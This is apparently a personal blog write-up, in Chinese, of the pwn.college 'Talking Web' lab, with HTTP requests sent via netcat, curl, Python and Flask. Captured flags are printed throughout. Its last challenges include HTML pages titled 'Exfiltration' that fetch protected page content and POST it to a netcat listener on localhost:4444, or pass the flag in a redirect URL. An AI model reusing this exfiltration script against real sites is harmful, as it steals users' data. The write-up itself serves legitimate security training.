pwn.college: Talking Web

是的,没错。手写http header才是你学Web应该做的第一件事。而不是上来就Burpsuite。$_$

Talking Web

1. Your First HTTP Request

用GUI打开,然后命令行运行/challenge/server,最后浏览器打开网页,即可获得flag

2. Reading Flask

访问http://challenge.localhost/access

3. Commented Data

查看源码,发现在注释中存在flag。随后,F12查看页面源码就行了。

4. HTTP MetaData

查看源码,路径为/fulfill,F12打开开发者模式,然后在Network中,找到fulfill这一项,点击后在右边找到Header,其中X-FLAG字段就是flag

5. HTTP (netcat)

1
2
3
4
5
6
7
8
9
10
11
12
hacker@talking-web~http-netcat:~/Desktop$ nc challenge.localhost 80
GET / HTTP/1.1

HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.10
Date: Sun, 02 Mar 2025 12:59:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 84
X-Flag: pwn.college{YrqEpNPZzcBDnBQkJiogkaSfKN0.dljNyMDLxYTN1YzW}
Connection: close

<html><head><title>Talking Web</title></head><body><h1>Great job!</h1></body></html>

思路就是,使用nc命令,获取网页信息。并且使用GET请求,随后接收到响应。响应中存在flag。

记住,输入两次回车,才是结束本次请求。

6. HTTP Paths (netcat)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hacker@talking-web~http-paths-netcat:~/Desktop$ nc challenge.localhost 80
GET /hack HTTP/1.1

HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.10
Date: Sun, 02 Mar 2025 13:04:48 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 243
Connection: close


<html>
<head><title>Talking Web</title></head>
<body>
<h1>Great job!</h1>
<!-- TOP SECRET: <p>pwn.college{s97BHDSXwCrre5GEUP0gFK5CKc_.dVzNyMDLxYTN1YzW}</p> -->
</body>
</html>

多了一个路径而已。

7. HTTP (curl)

curl是一个强大的命令行工具,用于与服务器进行数据传输。它支持多种协议。

1
curl [选项] [URL]

常用选项

选项 描述
-X--request 指定 HTTP 请求方法(如 GET、POST、PUT、DELETE)。
-H--header 添加 HTTP 请求头。
-d--data 发送 POST 请求的数据(表单数据)。
-F--form 发送文件或表单数据(用于文件上传)。
-o--output 将输出保存到文件。
-O 将输出保存为文件名(从 URL 中提取文件名)。
-i--include 显示响应头信息。
-I--head 仅显示响应头信息(HEAD 请求)。
-u--user 指定用户名和密码(用于认证)。
-v--verbose 显示详细请求和响应信息。
-L--location 自动跟随重定向。
-k--insecure 忽略 SSL 证书验证。
-s--silent 静默模式,不显示进度和错误信息。
-A--user-agent 设置 User-Agent 请求头。

这题很简单了,直接curl就好了。

1
2
3
4
5
6
7
8
9
10
hacker@talking-web~http-curl:~/Desktop$ curl challenge
.localhost/pwn

<html>
<head><title>Talking Web</title></head>
<body>
<h1>Great job!</h1>
<p>pwn.college{UNlBBwS-NwpLJYdlVPpEoojvICd.dRzNyMDLxYTN1YzW}</p>
</body>
</html>

8. HTTP (python)

1
2
3
4
5
6
7
8
import requests

url = "http://challenge.localhost/verify"

response = requests.get(url)
if response.status_code == 200:
print(response.text)

用python的requests模块,写个get请求即可。

9. HTTP Host Header (python)

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://challenge.localhost/submission"
headers = {
"Host": "ctflearn.com:80"
}
response = requests.get(url, headers=headers)
if response.status_code == 200:
print(response.text)

10. HTTP Host Header (curl)

查一查curl的用法即可。

1
curl -H "Host: overthewire.org:80" challenge.localhost/progress

11. HTTP Host Header (netcat)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
hacker@talking-web~http-host-header-netcat:~/Desktop$ nc -v challenge.localhost  80
Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded!
GET /hack HTTP/1.1
Host: gandalf.lakera.ai:80

HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.10
Date: Sun, 02 Mar 2025 13:36:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 222
Connection: close


<html>
<head><title>Talking Web</title></head>
<body>
<h1>Great job!</h1>
<p>pwn.college{IpeiHFr8AbndI-uKFGS8WxMBKHR.dJzNyMDLxYTN1YzW}</p>
</body>
</html>

12. URL Encoding (netcat)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
hacker@talking-web~url-encoding-netcat:~/Desktop$ nc -v challenge.localhost 80
Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded!
GET /entry%20mission%20verify HTTP/1.1
Host: challenge.localhost:80

HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.10
Date: Sun, 02 Mar 2025 13:42:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 222
Connection: close


<html>
<head><title>Talking Web</title></head>
<body>
<h1>Great job!</h1>
<p>pwn.college{gJwS5WKPnVX7YX3P2lEwKq0xpc3.dlzNyMDLxYTN1YzW}</p>
</body>
</html>

编码,空格在url编码中是%20,因此,在nc命令中使用%20代替即可。

13. HTTP GET Parameters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = "http://challenge.localhost/submit"
params = {
"unlock": "ufxxiiik"
}
headers = {
"Host": "challenge.localhost:80"
}
response = requests.get(url, headers=headers, params=params)

if response.status_code == 200:
print(response.text)

加GET请求的参数。

14. Multiple HTTP parameters (netcat)

1
2
3
4
hacker@talking-web~multiple-http-parameters-netcat:~/Desktop$ nc -v challenge.localhost 80
Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded!
GET /pass?security=kifydwjj&auth_key=mbdncplm&keycode=zuqfwurr HTTP/1.1
Host: challenge.localhost:80

用nc命令,构造一个GET请求即可。

15. Multiple HTTP parameters(curl)

1
hacker@talking-web~multiple-http-parameters-curl:~/Desktop$ curl -H "Host: challenge.localhost:80"  "http://challenge.localhost/authenticate?hash=jzsfndeg&auth_pass=erdsycur&access_code=sxobnyrn"

用双引号包括域名,使得&被用作参数连接符。

16. HTTP Forms

这关本来是直接打开浏览器访问提交表单就能拿到flag,但是那个太卡了,所以这里也用的python来发送Post请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://challenge.localhost/request"
data = {
"verify": "mbobcxum"
}
headers = {
"Host": "challenge.localhost:80",
"User-Agent": "Firefox"
}

response = requests.post(url, headers=headers, data=data)

if response.status_code == 200:
print(response.text)

这里需要加User-Agent字段,是因为题目会检测是否采用的是Firefox打开。

17. HTTP Forms (curl)

1
hacker@talking-web~http-forms-curl:~/Desktop$ curl -X POST -d "keycode=xqwrvyfd" -H "Host: challenge.localhost:80" http://challenge.localhost/meet

18. HTTP Forms (netcat)

1
2
3
4
5
6
7
8
9
hacker@talking-web~http-forms-netcat:~/Desktop$ nc -v challenge.localhost 80
Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded!
POST /check HTTP/1.1
Host: challenge.localhost:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

private%5Fkey=bxildsjt
HTTP/1.1 200 OK

这里有一个很坑的点,必须得有Content-Length字段,且有这个字段后,就可以回车再回车。此时接收表单数据。再进行url编码。

19. HTTP Forms (python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://challenge.localhost/progress"
data = {
"code": "cboboidk"
}
headers = {
"Host": "challenge.localhost:80",
"User-Agent": "Firefox/2.0.0.11"
}

response = requests.post(url, headers=headers, data=data)

if response.status_code == 200:
print(response.text)

20. HTTP Forms Without Forms

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://challenge.localhost/verify"
data = {
"auth_key": "hhyrdgcr"
}
headers = {
"Host": "challenge.localhost:80",
"User-Agent": "Firefox/2.0.0.11"
}

response = requests.post(url, headers=headers, data=data)

if response.status_code == 200:
print(response.text)

21. Multiple Form Fields (curl)

1
hacker@talking-web~multiple-form-fields-curl:~/Desktop$ curl -X POST -d "private_key=iqzryxmm&secret_key=ufaeulmp&secure_key=fgynzsij" -H "Host: challenge.localhost:80" http://challenge.localhost/qualify

22. Multiple Form Fields (netcat)

1
2
3
4
5
6
7
8
hacker@talking-web~multiple-form-fields-netcat:~/Desktop$ nc -v challenge.localhost 80
Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded!
POST /submission HTTP/1.1
Host: challenge.localhost:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

authcode=gzevumwe&password=zcfrbrpt&verify=wpbxshiv&signature=ktkceqld

同理,参数也用&连接即可。

23. HTTP Redirects (netcat)

重定向,首先先发送正常的请求。

1
2
3
4
hacker@talking-web~http-redirects-netcat:~/Desktop$ nc -v challenge.localhost 80
Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded!
GET / HTTP/1.1
Host: challenge.localhost:80

发现返回数据中,有重定向的paths,那么再用nc发送这个paths的请求

1
2
3
4
hacker@talking-web~http-redirects-netcat:~/Desktop$ nc -v challenge.localhost 80
Connection to challenge.localhost (127.0.0.1) 80 port [tcp/http] succeeded!
GET /eFsriunp-hack HTTP/1.1
Host: challenge.localhost:80

24. HTTP Redirects (curl)

同理,用curl两次即可。

25. HTTP Redirects (python)

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://challenge.localhost"
headers = {
"Host": "challenge.localhost:80"
}
response = requests.get(url, headers=headers)

if response.status_code == 200:
print(response.text)

python的requests模块能够自动跟踪重定向的网页,因此发送简单的GET请求即可。

26. HTTP Cookies (curl)

Make an HTTP request to 127.0.0.1 on port 80 to get the flag. Make any HTTP request, and the server will ask you to set a cookie. Make another request with that cookie to get the flag.

提示得很清楚了,先随便发送一个请求,然后设置cookie,随后发送另一个请求拿到flag。

可以使用curl -L -v challenge.localhost来自动跟踪重定向

第一次是为了拿到cookie,命令为curl -L -v 127.0.0.1:80,随后再curl一次,用-b参数携带cookie。然后就能获得flag

1
hacker@talking-web~http-cookies-curl:~/Desktop$ curl -L -v -b "cookie=3bfab8c85fbf73872c0b0a6956fc4620" 127.0.0.1:80

27. HTTP Cookies (netcat)

1
2
3
4
hacker@talking-web~http-cookies-netcat:~/Desktop$ nc -v 127.0.01 80
Connection to 127.0.01 80 port [tcp/http] succeeded!
GET / HTTP/1.1
Cookie: cookie=38c5a3fa82c7a07c9acd13244c494a59

28. HTTP Cookies (python)

1
2
3
4
5
6
7
8
import requests

url = "http://127.0.0.1:80"

response = requests.get(url)

if response.status_code == 200:
print(response.text)

29. Server State (python)

1
2
3
4
5
6
import requests

url = "http://127.0.0.1:80"

response = requests.get(url)
print(response.text)

得益于,requests模块的get请求会自动跟踪重定向,因此执行一次脚本发现302重定向,会自动跟踪。则自动发送了4个请求,达到题目要求,获得flag。

30. Listening Web

把第一关的Server代码copy到这儿,然后修改端口并运行即可。

1
2
3
4
5
6
7
import flask
import os

app = flask.Flask(__name__)

app.secret_key = os.urandom(8)
app.run("challenge.localhost", 1337)

31. Speaking Redirects

写Server端的重定向即可。

1
2
3
4
5
6
7
8
9
10
11
import flask
import os

app = flask.Flask(__name__)

@app.route("/", methods=["GET"])
def redirector():
return flask.redirect(f"http://challenge.localhost:80/submission")

app.secret_key = os.urandom(8)
app.run("localhost", 1337)

32. JavaScript Redirects

写一个JavaScript代码,放在/home/hacker/public_html/solve.html中即可。

1
2
3
4
5
6
7
8
9
10
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Redirecting...</title>
<script type="text/javascript">
window.location.href = "http://challenge.localhost:80/request";
</script>
</head>
</html>

33. Including JavaScript

这道题的思路是,首先客户端请求solve.html,我们在其中写入javascript脚本,让其访问服务器指定paths的javascript脚本并执行,随后将该执行结果重定向到某个能看到的地方即可。

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<title>Exfiltration</title>
<script src="http://challenge.localhost/mission"></script>
<script>
window.location = "http://challenge.localhost:80/?flag=" + flag;
</script>
</head>
<body>
</body>
</html>

javascript中的src属性:

当JavaScript的<scirpt>标签的src属性指定一个URL时,浏览器会发送一个HTTP GET请求到指定的URL,请求相应资源。获取资源(一般是javascript文件)后会下载JavaScript文件,解析并执行其中的JavaScript代码。

34. HTTP (javascript)

这道题真坑哇,这和那个CORS没关系。也不需要启动浏览器调试,也调试不了。得开practice模式调试。思路就是,直接使用fetch目标,然后对拿到的data做处理,让它发送给一个其他服务器就好了。我用的是nc -l 4444,监听4444端口。然后那边用POST提交数据就OK了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html>
<head>
<title>Exfiltration</title>
<script>
fetch('http://challenge.localhost:80/task')
.then(response => {
if(!response.ok){
throw new Error('Network response was not ok');
}
return response.text();
})
.then(website_content => {
console.log("Content received from challenge.localhost:80:", website_content);
fetch("http://localhost:4444/", {
method: 'POST',
headers:{
'Content-Type': 'text/plain',
},
body: website_content,
})
})
.catch(error => console.error('Error:', error));
</script>

</head>
<body>
</body>
</html>

35. HTTP Get Parameters (javascript)

加参数而已,只需要在fetch里直接加。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html>
<head>
<title>Exfiltration</title>
<script>
fetch('http://challenge.localhost:80/complete?challenge_key=vjcopwsk&secure_key=zqzbftms&auth=yzcibfla')
.then(response => {
if(!response.ok){
throw new Error('Network response was not ok');
}
return response.text();
})
.then(website_content => {
console.log("Content received from challenge.localhost:80:", website_content);
fetch("http://localhost:4444/", {
method: 'POST',
headers:{
'Content-Type': 'text/plain',
},
body: website_content,
})
})
.catch(error => console.error('Error:', error));
</script>

</head>
<body>
</body>
</html>

36. HTTP Forms (javascript)

查一下,fetch如何发送POST请求时加参数就好了。思路清晰后,就是语法的问题,AI的出现让这些问题都不是问题。所以重要的是思路。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!DOCTYPE html>
<html>
<head>
<title>Exfiltration</title>
<script>
const params = new URLSearchParams();
params.append('auth_pass','hvapqzli');
params.append('solution', 'kmdajdmm');
params.append('security_token', 'zprqxfbr');

fetch('http://challenge.localhost:80/submission',{
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: params,
})
.then(response => {
if(!response.ok){
throw new Error('Network response was not ok');
}
return response.text();
})
.then(website_content => {
console.log("Content received from challenge.localhost:80:", website_content);
fetch("http://localhost:4444/", {
method: 'POST',
headers:{
'Content-Type': 'text/plain',
},
body: website_content,
})
})
.catch(error => console.error('Error:', error));
</script>

</head>
<body>
</body>
</html>


pwn.college: Talking Web
https://loboq1ng.github.io/2025/03/08/pwn-college-Talking-Web/
作者
Lobo Q1ng
发布于
2025年3月8日
许可协议